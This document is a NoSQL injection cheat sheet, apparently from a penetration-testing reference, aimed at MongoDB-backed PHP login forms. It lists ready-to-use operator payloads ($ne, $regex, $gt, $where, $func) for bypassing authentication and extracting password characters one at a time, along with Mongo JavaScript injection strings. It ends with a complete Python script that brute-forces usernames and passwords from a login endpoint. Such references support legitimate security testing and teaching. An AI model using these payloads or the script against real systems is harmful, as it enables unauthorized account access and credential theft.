NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Exploit

In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.

The exploits are based in adding an Operator:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

Using not equal ($ne) or greater ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00

Extract length information

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extract data information

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrary Function Execution

Using the $func operator of the MongoLite library (used by default) it might be possible to execute and arbitrary function as in this report.

"user":{"$func": "var_dump"}

Tools

Brute-force login usernames and passwords from POST login

This is a simple script that you could modify but the previous tools can also do this task.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")

def get_usernames():
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
    for c in possible_chars:
        username = "^" + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print("Found username starting with "+c)
            while True:
                for c2 in possible_chars:
                    params["username[$regex]"] = username + c2 + ".*"
                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
                        username += c2
                        print(username)
                        break

                if c2 == possible_chars[-1]:
                    print("Found username: "+username[1:])
                    usernames.append(username[1:])
                    break
    return usernames


for u in get_usernames():
    get_password(u)
